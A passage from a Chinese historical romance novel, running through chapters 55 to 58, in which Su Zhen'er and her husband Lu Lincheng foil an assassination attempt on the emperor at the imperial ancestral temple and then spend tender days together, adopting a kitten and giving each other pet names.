金陵城外的庄子是曹氏多年产业,今次入金陵,曹梦湄将它作为暂时的落脚地。庄内奴仆有从曹家带过来的,还有之前留在这里守门的,最后是一批新招入的。 问题就出在那一批新人上。 “芙蓉馆的宗旨就是永远不放过任何一次发现新闻的机会。” 永远不要低估新闻者的敏锐度和他们敢于冒险的精神。 其实苏甄儿也只是试一试,她在芙蓉花瓣上简单绣了芙蓉馆的标记,然后将其抛入湖中,看着它慢慢流走。 随后不到半柱香的时辰,便有人送来餐食,新鲜的糕点里头藏有一张标记着安全路线的地图,还有并没有关紧的房门。 郭峰已经带人赶往太庙准备行刺,大抵是觉得将曹梦湄和她关在这里很安全,只留下十几个士兵。 守在门口的两个吃了带有迷药的饭菜之后陷入酣睡,苏甄儿和曹梦湄换上庄内探官提前藏好的婢女衣物,躲过士兵,成功混出来。 “我让探官回城找陆麟城了,我们先赶去太庙。” 苏甄儿和曹梦湄两人往太庙的方向疾奔而去,让那芙蓉馆的探官赶回金陵城去告知陆麟城此事。 地面泥泞难行,苏甄儿和曹梦湄两个弱女子跑出一段路后,各自岔着气站在那里直喘。 侧边有村民赶了牛车路过。 “不可能,我就是腿断了都不会坐这种臭烘烘的牛车的!”苏甄儿满心满身都是拒绝- 晨曦初显,苏甄儿跟曹梦湄并排坐在牛车上,那牛一边拉,一边走。 苏甄儿仰头看天。 曹梦湄也跟着仰头。 太庙偏僻,去往太庙的路上只有他们这一辆牛车。 “其实我有件事一直没跟你说。”曹梦湄突然开口。 苏甄儿瞬间警惕,“什么事?” 曹梦湄实在是忍不住了,“你的绣工真的好差。” 苏甄儿:……- 阳光热烈,照得人睁不开眼。 有风吹过,铺在牛车上的稻草盖了苏甄儿一脸。 她抬手去扯,感觉胳膊很疼,低头一看,袖口处沾着血,小臂上有一道不知道什么时候被划破的伤口,血染湿了衣物,正顺着她的指尖往下淌。 “你受伤了?”曹梦湄注意到不对劲。 “没事。” 伤口看起来有些泛白,应该已经过了一段时间,可能是砸窗的时候,也可能是穿过林子的时候……苏甄儿垂目,伤口处的刺痛细细蔓延。 四周陡然安静下来之后,她的心情略微有些浮动。 “当年我在战场边缘地带,一个人躲在林子里,心里想的都是我的父母,现在也是,后悔与他们说的话太少了,很多事也没有来得及跟他们一起做。”大致是太安静了,曹梦湄开始跟苏甄儿搭话,“你呢,你在想谁?有什么遗憾吗?” 苏甄儿眨了眨眼,脑中恍惚出现一张人脸。 问她,只想老宅,不想我吗? 突然,一阵马蹄声遥遥传来,震得整条路上灰尘浮天。 苏甄儿和曹梦湄反应迅速的从牛车上翻下来,摔在地上,然后各自跌跌撞撞的往侧边林子里躲。 那马来的飞快,日行千里的战马良驹,在她们堪堪躲好的瞬间,就出现在了大路拐弯角。 男人一袭黑色便服,骑着珍珠如闪电般飞驰而过。 苏甄儿愣了愣,立刻追上去。 “陆麟城!陆麟城!” 马匹骑得太快,苏甄儿的声音被马蹄声淹没,她吃了满嘴的灰。 曹梦湄跟在苏甄儿身后,探头探脑地看,“他没看到你。”话罢,曹梦湄一扭头,看到苏甄儿陡然红了的眼眶。 “不,不至于吧,他只是没看到你……” 苏甄儿忍着眼泪,将它们重新压回眼眶里。 下一刻,那阵马蹄声由远及近,男人回来了。 珍珠停在苏甄儿不远处,陆麟城翻身下马,朝她的方向疾走两步,认出这个蓬头垢面穿着侍女服的人真的是苏甄儿后,立刻快跑起来。 苏甄儿也朝着陆麟城的方向跑过去。 她跑得很快,眼泪挤在眼眶里,迎风泪洒,一头扎进男人怀里。 被关在小筑里面的时候,她没哭。 跟曹梦湄挤在牛车上的时候她没哭。 发现伤口的时候她也没哭。 可看到陆麟城的时候,她就完全无法控制住自己的情绪。 苏甄儿带着哭腔,死死抱住陆麟城。 “我想你了。” 第55章 想我了 事情紧急, 叙旧暂停。 白色骏马飞驰在路上。 曹梦湄坐在最前面,苏甄儿挤在中间,陆麟城骑在最后。 他双手勒着缰绳, 三人共乘一匹马, 以最快的速度到达太庙。 祭祀大典在即,周玄祈需斋戒三日,然后在祭祀那日时前往太庙,在祭坛后, 进行迎神、行礼、进俎、献爵等一系列仪式。 今日, 正是祭祀的日子。 还有半个时辰,祭祀大典便要开始了。 苏甄儿在路上的时候就将情况跟陆麟城说了。 “在这里等我。”陆麟城将苏甄儿放在太庙门口。 “你小心。”苏甄儿满脸担忧。 “嗯。”陆麟城点头。 “我不下去, 带我去。”曹梦湄抱住马脖子, “我是曹氏女。” 陆麟城看她一眼,“嗯, 是准备带你去。” 不知道为什么, 曹梦湄突然感觉自己脖子有点凉- 周玄祈此次出宫, 身边带了三千禁军。 祭祀在即, 按照规矩,祭坛周围被清空, 周玄祈身边只跟了几个礼官。 风吹过祭坛,鲜血的味道弥漫开来。 礼官的脑袋掉在地上, 眼睛还没闭上。 身后是长长的祭坛石阶,身前是禁军装扮的郭峰,两相对视,周玄祈身型未动, 身上宽大的祭服被风吹得鼓起,更衬出他的儒雅风骨。 郭峰身穿禁军服, 显然是私混进来的。 他手持大刀,鲜血染地,瞳色透出一股嗜血的红。 “轮到你了,陛下。”对于能手刃皇帝这件事情,让郭峰异常兴奋。 他的动作慢了下来,像猎手一样,想欣赏一下周玄祈脸上的恐惧。 可令人失望的是,男人脸上并没有恐惧。 周玄祈笑了一声,眼皮下垂,透出凉意,“谁让你来杀我的?” “等你死了,就知道了。” 大刀迎风而斩,周玄祈侧身避让,却还是被刀锋划破了脸。 沉重的大刀被郭峰甩得极其灵活,下一刀紧接着又跟上来。 “住手!” 一道女声传来,一匹白马横冲过来,直接朝郭峰撞过去。 柔软的长剑削过郭峰的手臂,留下一道长长的伤痕。 郭峰的动作慢了下来,被迫远离周玄祈。 曹梦湄翻身下马,站在周玄祈身前,看着眼前的郭峰,“三年乱战,你还嫌死的人不够多吗?” “打仗哪有不死人的,”郭峰将大刀横在身前,“将军百战死……” 郭峰的话还没说完,一柄匕首突然出鞘,抵在了曹梦湄的脖子上。 曹梦湄:??? “放下,不然我杀了她。” 匕首划破曹梦湄脖颈的肌肤,沁出血迹。 陆麟城手持刚才过来的路上,苏甄儿给他的羊角匕首,抵在曹梦湄脖颈之上。 站在陆麟城身侧的周玄祈神色轻动。 风吹起曹梦湄的乱发,她感受到颈侧传来的杀意。 曹梦湄下意识朝周玄祈的方向看过去,男人身穿祭服,面色平静地看着对面的郭峰。 郭峰的目光深深落到曹梦湄脸上。 “小姐,曹氏会永远记住你的牺牲。”话罢,他长臂一甩,朝周玄祈直冲过去,显然已经不顾曹梦湄的死活。 郭峰此人,勇猛非常,战场之上,以一当百,不在话下。 曹梦湄被人往身旁一推,撞在周玄祈身上。 周玄祈下意识伸手抓住她的胳膊,将人在身前绕了一圈,然后因为不知是往左摆,还是往右摆,所以最后索性顺势拽到了身后。 陆麟城和郭峰打了起来。 软剑与大刀相撞,火光四溅。 禁军从四面八方赶来,将两人团团围住,可下一刻,赶来的禁军之中却有人反水,是郭峰带来的人混迹在禁军之中,两帮人马乱作一团。 曹梦湄反手抓住周玄祈,往祭坛后面跑。 祭坛设立在山上,后面是一片林子。 有叛军看到逃跑的曹梦湄和周玄祈,立时跟了上来。 林子很深,一开始是曹梦湄拽着周玄祈跑,后面是周玄祈拉着她跑。 两个人一脚深一脚浅,也不知道跑了多久,周玄祈一脚踩空,拽着曹梦湄一起滚下了坡。 老情人多年未见,头一次见面十分尴尬,第二次见面情况也很不好。 周玄祈生了一张天生儒雅的书生白面脸,看起来温和极了,想当年,曹梦湄初见他的时候,也一直以为这是一位好脾气的情人,直到此次再次相见,她终于意识到,那都是这个男人装的。 她联想起那些关于新帝的传闻。 登基第一年就打败了钉子户太后,随后整顿朝政,陆续收拾了各地豪杰贪官,今年又把郑首辅那个老不死的关进了昭狱。 他从一个乡野之地的藩王坐到如今大周皇帝的位置上,怎么可能如外界所传,是个温和之人。 看似和蔼可亲,实际笑里藏刀。 虽然一开始曹梦湄就做好了要打一场硬仗的准备,但她没想到是跟自己的旧情人打。 还未出师,她就死了。 换作是她,若是被人玩弄抛弃之后手握权势,不得将那人好好磋磨一番? 林中风起,周玄祈拍了拍身上的碎叶子,然后走到她身边,朝她伸出手。 曹梦湄垂目抬手,轻轻起身,“多谢陛下。” 美人即使是在如此狼狈的情况下,依旧是个美人。 “曹小姐生得与我认识的一位故人有些相似。”周玄祈攥着曹梦湄的手,看似轻轻握住,实则用了巧劲,曹梦湄根本抽不开。 “陛下说笑了,”曹梦湄抬眸看向周玄祈,满眼陌生,“我,从未见过陛下。”- 苏甄儿一人待在太庙门口安静等待。 太庙的门紧闭着,她不知道里头发生了什么事,又不好贸然进去,生恐将自己陷入不好的境地,还要陆麟城抽空来救她。 太庙偏僻,三年乱战之后也没有好好修缮,说是太庙,光从外面来看,破破旧旧的,连太庙的大门都掉漆了。 周玄祈这个皇帝当的还真是穷。 因为身上到处都脏兮兮的,所以苏甄儿也就没有了平日里拿捏的那股劲儿,这一路又是颠簸又是熬夜的,累得够呛。她径直找了一处隐蔽之地躲起来,将额头抵在树干上,准备歇息一会。 突然,她听到一阵尖锐的奶叫声,撕扯着嗓子,从身后传来。 苏甄儿转头,看到一只巴掌大的小奶猫炸着毛,夹着尾巴,正冲她叫。 别看这小东西小,龇牙咧嘴炸毛的样子看起来还挺有威慑力。 苏甄儿低头看到被自己踩在脚下的一点碎食,猜到可能是她抢了人家的巢穴,便下意识站起来往后挪。 小猫不依不饶,依旧在叫。 苏甄儿想了想,用手指将那点被自己踩扁的食物捡起来,朝它扔了过去。 小奶猫儿被扔过来的食物吓了一跳,往后退了几步,却也没跑,只是不敢吃,喊得嗓子嘶哑,发出“嗬嗬嗬”的威胁声。 苏甄儿跟它大眼瞪小眼。 下一刻,太庙的门被打开。 苏甄儿立刻下蹲,探头探脑地看。 熟悉的身影从太庙门口出来,身后跟着几个禁军。 苏甄儿飞鸟似得扑过去。 陆麟城伸出双臂环住她。 习惯中熟悉的皂角香气被血腥气覆盖,苏甄儿仰头,看到陆麟城耳朵上沾黏的血,身上的衣服也黏黏糊糊的,都是粘稠的血迹。 “你受伤了?”她立刻踮脚去看他沾着血的地方。 “没有,不是我的血。”男人俯身任由她查看。 苏甄儿捧着他的脸,左右晃了晃,指腹擦过他的耳垂,沾染上一点血迹。 再看身体,好胳膊好腿的,虽然脏了些,但能看出来精神不错,确实没有受伤。 苏甄儿轻轻吐出一口气,“抓到郭峰了?” “嗯,抓住了。按照你说的,往软剑上抹了麻痹散,他倒下了。” 兵不厌诈,谁能想到传说中的大周战神会使这种阴招。因此,当郭峰倒下去的时候脸上满是不可置信,被抓起来的时候还在骂陆麟城卑鄙。 其实一开始贴着陆麟城的耳朵说这件事情的时候,苏甄儿还怕他不肯,没想到他不仅听从了她的麻痹散建议,还青出于蓝而胜于蓝,将曹梦湄也一起算计进去了。 陆麟城将羊角匕首递给苏甄儿,“擦干净了。” “没伤到曹小姐吧?” “一点点。” “她人呢?” “跟陛下逃到后面的林子里去了。” “那你不去找他们?” “十三已经带人去了。” 好吧。 苏甄儿将羊角匕首小心翼翼贴身放置。 陆麟城盯着她看。 苏甄儿伸手挡脸,“别看我。” 她一路奔波,又是爬牛车,又是在林子里来回滚的,身上都是泥,脸上都是灰。 再看陆麟城,其实也没有比她好多少。 “你身上也脏。” 为了维持自己微薄的颜面,苏甄儿拉陆麟城一起下水。 然后她突然发现,陆麟城虽是武将,但很少在她面前不修边幅,邋里邋遢,她真的很少看到他身上沾血。 她记得陆麟城曾经说过,因为衣裳沾了血,怕她瞧见,所以从昭狱出来后会去锦衣卫所换身干净衣物。可他去昭狱的次数不是一次两次,每次身上都干干净净的回来。 这样算起来的话,陆麟城为了在她面前保持住良好的形象,也花费了诸多心思。如此,苏甄儿才总是会在他身上嗅到淡淡的皂角香气。 可今日,他却这样出现在她面前。 虽说太庙条件是简陋了些吧,但换身衣服洗个澡也不是难事。 下一刻,她的手腕被人握住,拉开。 男人身上熟悉的皂角香气被血腥气覆盖,他倾身过来,“我急着过来,忘记了。” “你急什么?”苏甄儿下意识询问。 男人抿了抿唇,“你刚才说,想我了。” 第56章 取小名 九月的天依旧炙热。 热浪翻滚, 身后树叶沸腾。 苏甄儿听到自己擂鼓般的心跳声。 她鼓起勇气,抬眸望向男人,“嗯, 想你了。” 说出这句话的瞬间, 她突然明白了自己的心。 男人的目光深深落下来,波涛翻涌,似有什么东西要溢出来,可又被重重地压回去。 “喵!”身后传来一道凄厉的猫叫声, 打断了两人。 陆麟城垂目, 掩住眸中情绪,走过去, 单手将那小猫捞起来。 小猫“嗬嗬嗬”地哈着气, 却也不咬人,只是哈气, 凑近看了, 还能发现它在发抖。 苏甄儿却依旧不敢碰, 她看陆麟城单手捏着那猫儿的颈后, 小猫儿四脚张开,终于安分, 被陆麟城放在胳膊上,四爪死死抱住他, 小尾巴也垂得服服帖帖的。 “很脏,看起来没有母猫照顾,眼睛也有问题。”陆麟城略看一眼,便得出结论。 “你看起来很有经验。” “从前捡到过一只。” “然后呢?” “……养不起。” 那是一只浑身雪白的黑瞳猫, 虽然陆麟城竭尽全力想要在糟糕的行军途中将它养好,但最终还是失败了。 风餐露宿, 长途奔波,饥一顿饱一顿,让它身形消瘦,胆战心惊。 最后,路过鹿城的时候,他将它送给了一位富贵人家。 军队离开前,陆麟城曾经去看过一眼。 院中,那漂亮的狮子猫睡在柔软的绸缎垫子上,吃着上等的肉片,还有丫鬟在旁边替它梳毛,它十分享受地眯起眼,看起来舒服极了,慵懒高贵。 丫鬟起身离开后,陆麟城翻过墙,走到它面前。 狮子猫抬眸看他一眼,没有动作。 听说猫是极冷血的动物,它不像狗,会认主。 可在陆麟城离开前,却似乎听到它叫了一声。 陆麟城没有回头,径直离开。 狮子猫的身影与眼前女子的气质缓慢融合,那双狡黠的黑瞳与其如出一辙。 “我听说猫都很冷血,不认主。”苏甄儿想碰,又不敢碰。 “若是喜欢它,自然只希望它好,便是它冷血无情,那也甘之如饴。” 苏甄儿一愣。 在她心目中,他不像是这样……卑微的人。 少年成名,功成名就,一人之下,万人之上的北辰王,应该睥睨高贵,傲然一切。 “要养吗?”陆麟城将猫儿往苏甄儿面前摆了摆。 苏甄儿略显犹豫,“我没养过,你养吧。” 陆麟城的脸上也露出犹豫神色,他看她一眼,又迅速垂落,“我怕养不好。” 苏甄儿想了想,“那我们一起养?”说完,苏甄儿伸手,大着胆子戳了戳那小奶猫儿的脑袋。 小奶猫儿没有反抗,只是小尾巴夹得更紧了。 苏甄儿觉得有趣,她转了转眼瞳,眼尾轻轻上挑,不着痕迹的朝陆麟城看了一眼,然后朝这小奶猫儿开口道:“叫娘。” 对面男人眼瞳一颤。 小奶猫发出撕心裂肺的大烟嗓,“喵!” 苏甄儿,“……叫的真难听。”- 太庙被陆麟城带来的鬼面军彻底清洗过后,祭祀仪式毫无意外的延迟了,具体时间由钦天监算过之后再决定。 天色已晚,众人暂时歇在太庙之中。 太庙年久失修,虽然因为这次祭祀,所以小小动工维护了一下,但住起来依旧破破的。 身边也没有婢女服侍,苏甄儿自己沐浴净身之后,坐在窗前晾晒头发。 陆麟城比她先收拾完,穿着简单的单衣,头发还在滴水,就那么随意盘起来之后,盘腿坐在榻上替那只小奶猫儿擦洗身上的毛发,并帮它的眼睛上药。 这是一只灰扑扑的猫儿,身上的毛发颜色像是秋天黛色,看起来杂乱无章。 小奶猫儿在陆麟城的手里乖巧极了,大抵是陆麟城刚刚给它喂了东西吃,它已经认识他了。 苏甄儿单手撑额,长发卷曲晾在架子上。 “相公,你只给它擦,不给我擦吗?” 夜色朦胧,美人抬眸撒娇。 陆麟城迅速起身,从架子上拿了干净的帕子,坐到苏甄儿身边,替她撩起湿漉漉的长发,慢慢绞干。 因为没干过这么细致的活,所以陆麟城一开始略微有些生疏,不过他实在聪明,一会儿就能干得有模有样。 太庙内东西匮乏,两人沐浴都用的皂角,因此身上的味道是一样的。 苏甄儿扶趴在陆麟城膝盖上,仰头看他。 “你胳膊上有伤。”拨开浓密湿漉的垂发,陆麟城这才发现苏甄儿绑着绷带的小臂。衣料被水渍浸湿,这才露出里头的绷带,被他发现了。 “好疼。”苏甄儿更将脸朝他贴近,“相公帮我吹……” 苏甄儿话还没说完,男人盯着她的伤口,一脸严肃,“我给你上药。” “吹……” 苏甄儿的脑袋被放回榻上,陆麟城已经起身出去寻药。 苏甄儿:……能不能听她把话说完? 一鼓作气,再而衰,三而竭。 苏甄儿没有了士气,鼓了鼓脸,懒洋洋地躺下了。 其实医士已经替她上过药了,可她喜净,沐浴的时候又给打湿了,然后也没管。 陆麟城拿了药回来,还有崭新的绷带。 他小心翼翼揭开那层绷带,看到伤口,眉头狠狠皱起,曲着指尖,替她擦拭周围的水渍,然后重新上药。 “这个药不疼。” “嗯。”苏甄儿视线上移,落到陆麟城脸上。 她悄悄挪了挪身体,嗅到男人身上更深的皂角香气- 因在山间,所以夜间比在金陵城内的时候凉快许多。 苏甄儿晾干了头发,躺在崭新的被褥上歇息。 陆麟城站在屋内一角,袅袅白烟自他身前升起。 苏甄儿嗅到熟悉的芙蓉香。 “哪里来的芙蓉香?” “我让十三回了一趟金陵城内,取了香来。”陆麟城点好熏香,阖上香炉盖子,转身来到床边。 跟他一起来的,还有那只恢复了活力的小奶猫儿。 它实在是小,身上的毛也稀疏,只那嗓子洪亮,玩心十足地扒着陆麟城的脚转悠,像是在模拟捕猎。一会儿咬一口,一会儿抓一下。 “像块破抹布似得,”苏甄儿伏在床沿边看它,“你给它取名了吗?” “还没有。”陆麟城俯身将小奶猫儿拎起来放在自己的膝盖上,“像这种毛色的猫儿一般叫滚地锦。” 这猫儿的毛虽长得乱七八糟,但一双眼尤其好看,显出淡淡的绿。 “叫小绿吧。”苏甄儿随意取了一个名字。 “好。”男人自然没有异议。 夜灯如雾,笼罩住半座太庙,四周实在是太安静了。 苏甄儿一向不习惯在外面睡,不过因为陆麟城特意让十三取了芙蓉香来,所以这份不习惯也减弱不少。 嗅着熟悉的芙蓉香,苏甄儿单手勾住陆麟城的胳膊,将脑袋靠在他的肩膀上,“你有小名吗?” 陆麟城摇头,“没有。” “那你猜猜我的小名叫什么?” 男人单手托腮,沉吟半响。 苏甄儿得意地坐起来,“你肯定猜……” “圆圆?” 苏甄儿脸上的笑容瞬间垮台。 “哦?猜对了吗?”男人眼神调笑。 不可能,绝对不可能! 她的小名只有她父兄和母亲,还有奶母和绿眉知道,就连奇哥儿都不知道。 而自从她父兄和母亲去世之后,就没有人再唤她的小名了。 “你怎么会知道的?”苏甄儿一把捧住他的脸,企图从这张漂亮的脸上找出一点蛛丝马迹。 “我猜的。” “不可能!”这个世界上哪里有那么巧的事情,他当她是傻子吗? “是你喝醉了,自己跟我说的。” 很多年前,少女第一次偷喝酒,拽着他的衣袖,坐在漫天绚烂的芙蓉花丛中,美得令人挪不开眼。 她将他错认成了兄长,伏在他的膝盖上,与他说了很多话。 她说,她的小名叫圆圆。 她说,她想父兄了,想要父兄回来为她过及笄日。 屋内油灯昏暗,苏甄儿努力回想。 她记得自己曾经确实在陆麟城面前撒过一次酒疯。 女人眼神狐疑,半信半疑。 “那你知道我为什么叫这个小名吗?” 她不会连这个都跟陆麟城说了吧? 男人摇头,“不知道。” 喝醉酒的少女嘟囔了很多话,越说越轻,他凑过去,却还是听不清,只模糊听到,“不胖的,不要叫我圆圆……” 苏甄儿又恢复自己得意洋洋的小表情,好吧,这并没有什么可得意的。 她之所以叫这个小名,是因为小时候自个儿生得圆滚滚的,所以母亲给她取了“圆圆”这个应景的名字。 小时候的她活像挂画上的抱锦鲤小娃娃,谁见了都要说一句福气可爱,后来慢慢长大,出落的纤细窈窕,才与这个小名格格不入。 “不告诉你。”苏甄儿重新靠回陆麟城肩膀上,绕着他垂落的发丝,一边百无聊赖地编织着小辫,一边突发奇想,“我给你取个小名,好不好?” “唔,我想叫……” “不可以,”苏甄儿一把捂住陆麟城的嘴,“我给你取。” 陆麟城已经从苏甄儿的眼神中察觉出了她的坏心思。 果然。 “扁扁。” “你叫扁扁。” 盘在陆麟城膝盖上的小猫打了一个哈欠,蜷缩起来睡了。 陆麟城眨了眨眼,觉得这名字听起来不太干净。 苏甄儿低头闷笑一声,“我开玩笑的,我想好了,叫团团,好不好?” 团团圆圆。 第57章 很温柔 为了保证周玄祈的安全, 陆麟城领着鬼面军在太庙驻守。 苏甄儿可以选择留在太庙,也可以选择先回金陵。 若是从前,她定然是要回自己的小金窝安安稳稳, 舒舒服服的。 可现在。 “我不走, 我要留在这里陪你。”苏甄儿挂在陆麟城的脖子上,视线往下,看到他身上的黑甲,硬邦邦的。 经历过郭峰事件后, 现在太庙的安全由陆麟城全权负责。陆麟城带领鬼面军, 三班倒的对太庙的出入口进行全方位把控。每日晨间和晚间,陆麟城也都会亲自轮班。 比如现在, 他马上就要去上早班了。 “我把十三借我用一下呗。”苏甄儿仰头看他, “只需要一日。” “好。” 今日的十三接到了新任务,他拿着手里的单子骑快马回到北辰王府, 将北辰王妃要的东西一一打包。 日落之时, 跟着行礼被一起打包过来的绿眉一边给自家王妃铺床, 一边忍不住吐槽, “王妃,这屋子比奴婢住的屋子都破, 您是怎么住下去的?” 苏甄儿拿着手里的扇子娇羞一笑,“我不是贪图享乐的人。” 绿眉:…… 绿眉转头看向被塞满了昂贵衣服的衣柜, 堆满了珠钗玉环的梳妆台,插着新鲜花卉的月白釉色花瓶,装饰用的石头盆景、纱桌屏等等,就连窗户边摆的卧榻都换成了自家王妃平日里用的。 更别说那些熏笼、衣架、厢奁、书灯之类的东西, 就连空荡荡的院子里都摆置上的奇珍异草。 这么大的卧榻到底是怎么运过来的? 如果不是家里那张拔步床太大,这床怕是也得重新换过吧? 巡逻完毕回来的陆麟城抬脚跨入屋子, 顿住,退回去,又走进来,又出去。 “相公,你回来啦。” 苏甄儿从屋内那扇折枝花卉的绣屏后探出头,身上已换上今年新款秋装,手中抱着一捧秾芳芙蓉。 芙蓉艳丽,人比花娇。 纵然成婚多年,陆麟城还是会被女人的美丽所迷。 他盯着苏甄儿怔愣半响,屋内花香芬芳,男人眉眼柔和下来,抬脚步入屋子,“嗯,我回来了。” 陆麟城的视线在屋里转了一圈,最后落到苏甄儿脸上。 空荡枯败的厢房只在一日之间就变成了温软的香闺,透着一股繁盛的生命力,与她一般。 “这捧芙蓉花是我刚去河边采的,相公,我们再去采一些吧?” “好,我换身衣裳。”陆麟城走到屏风后去换衣服。 他褪下身上的铠甲,露出里面的单衣。 苏甄儿站在他身边摆弄着手里的芙蓉花,剪子慢条斯理剪过手中芙蓉花的根茎,视线忍不住往陆麟城脸上瞥。 陆麟城用汗巾擦拭身体,淡淡的皂角香气萦绕过来。 他拎起便服套在身上,“今日早膳用了吗?外头有些晒,你要戴好帷帽……”陆麟城说到一半,偏头朝苏甄儿看过去。 女人拎着手里被剪断了一大半的芙蓉花,歪头怔怔地盯着他看。 她的相公真好看啊,说的什么根本没听见- 晚秋时节,众芳摇落,唯独芙蓉依旧风姿艳丽,映衬着河影,波光花影,分外妖娆。 这是山下河边,苏甄儿和陆麟城拿着竹篮子出来,小绿也被一起带出来了。 它蹲在陆麟城肩头,像一块小巧的破抹布成精。 经过一天一夜的相处,小绿已经非常适应现在的生活环境,完全从一只炸毛小猫咪变成了黏人小怪物,眼神也从“这是你家吗?委屈巴巴。”变成了“这是你家吗?大爷姿态。” 河边的木芙蓉茂盛张扬,河畔处还有尚未凋谢的莲花。 午后日头太晒,苏甄儿和陆麟城选择在傍晚时分出来,两人踩着夕阳漫步。 “那里有船,陆麟城,我们去船上,好不好?” 河边有一顶乌蓬小船,也不知道是谁留在这里的。 苏甄儿接过绿眉手里的食盒,牵着陆麟城的手一道上船。 这船看起来是崭新的,里头置着新鲜的瓜果糕点,挂着芦帘,缀着珍珠帘,点着熏香,还垫着软垫。 难道是绿眉准备的? 苏甄儿立刻朝绿眉偷偷竖起了一根大拇指。 这绿眉,平时看着不靠谱,关键时刻居然这么靠谱?回去得给她涨月钱。 站在岸边陪小绿玩的绿眉疑惑了一会,回了一个大拇指。 船上有浆,苏甄儿摇了两下就不干了,陆麟城双手摇浆,将小船摇到河中。船沿压着荷花根茎,圆盘似得碧色莲叶连接着红霞天色,深橘红色的落日被云霞掩盖,扯出丝丝条条的绚烂。 “停在这里,我要采莲。”苏甄儿兴致起来,一边指挥陆麟城,一边探出半个身子去采莲。 小船停稳,陆麟城松开船桨,看着苏甄儿半跪在船头,左左右右的忙碌。 一会儿嫌弃这朵莲花不够大,一会儿又觉得那朵莲花看起来更明艳。 陆麟城盯着女人的侧颜看了一会后,单手垫在脑后,躺在船头,半个身子压在苏甄儿的裙裾上。 夕阳铺散下来,落在他脸上。 周围萦绕着淡淡荷香,可离他更近的是女人身上的芙蓉香。 陆麟城闭着眼,不知不觉睡了过去。 船只在河中游荡,苏甄儿抱着怀里的莲花,看到压在自己裙裾上睡着的陆麟城,心中微痒。 船头窄小,苏甄儿半撑在男人身前,柔软的黑发轻轻落下,洒在他胸前。 苏甄儿伸出一根手指,拨开自己落在陆麟城额头上的一缕长发。 长发移开,露出男人白皙饱满的额头。 苏甄儿歪头看着,手指轻轻落下,沿着男人的额头往下滑。 滑过挺翘的鼻梁,落到柔软的唇瓣上,轻轻压了压。 陆麟城的唇薄而软,是淡淡的蔷薇色泽。 苏甄儿移开手指,俯身,手中莲花下压,挡住两人的脸,然后轻轻亲一口。 她真的,喜欢上陆麟城了- 河边,曹梦湄看着莫名其妙消失的小船,抬头朝河中央看去。 漫天无穷莲叶荷花之中,掩印着一对男女的身影,船篷挡住半身,巨大的莲花堆积在船头,只露出一些衣摆,荡下摇曳在水面上,像晕开的霞光。 曹梦湄:……小偷! 曹梦湄一跺脚,踩到一颗河边的石子,脚腕一崴,瞬间疼得面色扭曲。 倒霉的人真是连走路都能踩到石子! 她精心准备的两人世界船篷游河,就这样没了? “曹小姐。”身后传来男人的声音。 曹梦湄脸上挂上笑,端庄转身,朝周玄祈行万福礼,“陛下。” “曹小姐约朕过来,有什么事?”男人语气听起来温和,实际却带着一股疏离淡色。 曹梦湄半垂眉眼,“臣女已经将郭峰之事上报给家父,家父给臣女来了信。”说着话,曹梦湄将手中书信递给周玄祈。 八百里加急的密信,就这样被曹梦湄送到周玄祈手中。 周玄祈停顿片刻,打开。 “陛下,父亲信中所言,句句属实,曹家并无谋反之意,还望陛下明鉴。”说着话,曹梦湄提裙跪下。 周玄祈站在那里,抬手将人扶起,“此事朕一定会彻查清楚,找到幕后之人,曹小姐是朕的贵客,不必拘礼。” 周玄祈一惯保持着温和有礼的脸色,像在脸上糊了一层淡淡的纸,上面绘着一张笑面具。 当然,曹梦湄也差不多。 “时辰不早,朕送曹小姐回去。” “那就劳烦陛下了。”曹梦湄抬脚刚刚走出一步,脚踝又是一阵剧痛。 她下意识抬手,搭住了周玄祈的胳膊。 “曹小姐,怎么了?”周玄祈抬着手,没动,只是眼神下压,朝她看过去。 “不小心崴了脚。”曹梦湄的脸上露出不好意思的神色,抓着周玄祈的手却没有松开,反而往下滑去,极其缓慢兼带试探性地握住男人的手掌,“陛下,实在是有些疼了。”- 入了夜,陆麟城穿上黑甲又出去巡夜了。 苏甄儿恋恋不舍的把人送走之后,单手撑着下颚坐在窗前,望着面前瓷白花瓶中插着的水边木芙蓉,摇着扇子傻笑了一会后,将绿眉招过来,“绿眉,你觉得王爷他……他……对我,跟对别人,有什么不一样的吗?” 陷入恋爱中的女人总是会提一些奇奇怪怪的问题。 绿眉打开手中的瓷白小瓶,一边替苏甄儿往头发上擦桂花油保养,一边想。 “唔,奴婢觉得,王爷看王妃的眼神跟看别人不一样。” 苏甄儿兴致勃勃地转头,“哪里不一样?” 绿眉又努力想了想,没有经历过情爱的她无法形容也并不理解,因此,最后憋出一句话,“跟王妃看新款衣服的那种亮晶晶的眼神很像。” 苏甄儿:…… 苏甄儿没有兴致地转了回去。 对牛弹琴啊对牛弹琴。 “还有王爷跟王妃说话的语气也跟对别人不一样。”绿眉凑过来继续。 苏甄儿已经对绿眉失去了信心。 可这次,绿眉说出来的话却让她忍不住心尖一颤。 “对待旁人的时候,王爷像一柄出鞘的剑,又冷又可怕。可对待王妃的时候,就是,很温柔。” 第58章 小温柔 山间温度降低, 曹梦湄趴在周玄祈的背上,双臂搭在他的肩膀上。 “陛下,累吗?” 周玄祈淡笑道:“不累。” 曹梦湄俯身, 垂发擦过男人面颊, 说话的时候,气息贴上周玄祈耳廓,“陛下会后悔的。” 夜色暗沉,唯闻山间虫鸟之音。 周玄祈还不明白曹梦湄这句话的意思, 直到他走出一段路后, 抬头朝前望去,瞬间瞳孔震颤。 夜色下, 前方是极其漫长蜿蜒且曲折的石阶路。 是人工开凿出来的, 通往山上院落的唯一一条路。 曹梦湄就住在上面的院子里,因为她喜静, 所以这最高处, 最安静的院子就被安排给了她。 “臣女就说, 陛下会后悔吧?”曹梦湄绕着自己的发尾, 语气带着几分幸灾乐祸的狡黠。 周玄祈:…… 周玄祈闷不吭声,双手往前一颠, 曹梦湄吓得立刻抱住他的脖子。 男人轻笑一声,背着她开始爬山。 曹梦湄:……爬死你! 半个时辰后, 周玄祈撑在门框上的胳膊在发抖。他定了定神,额头汗湿,一双温润眼眸亮的惊人。 “陛下累不累?”曹梦湄站在院子门口,发髻只是略微被风吹得有些凌乱, 连一滴汗都没有出,身上还带着淡淡的佛香。 “……不累。”周玄祈说话的时候喉咙干涩的厉害, 这两个字硬从里面挤出来。 曹梦湄抬眸看他,唇角压着笑,“多谢陛下送臣女回来。” 说着话,曹梦湄接过侍女手中的玻璃绣球灯递给周玄祈,“夜深路滑,这盏绣球灯送给陛下照路。” 曹梦湄的袖摆滑过周玄祈的手背,媚眼如丝,将手中的绣球灯交给他。 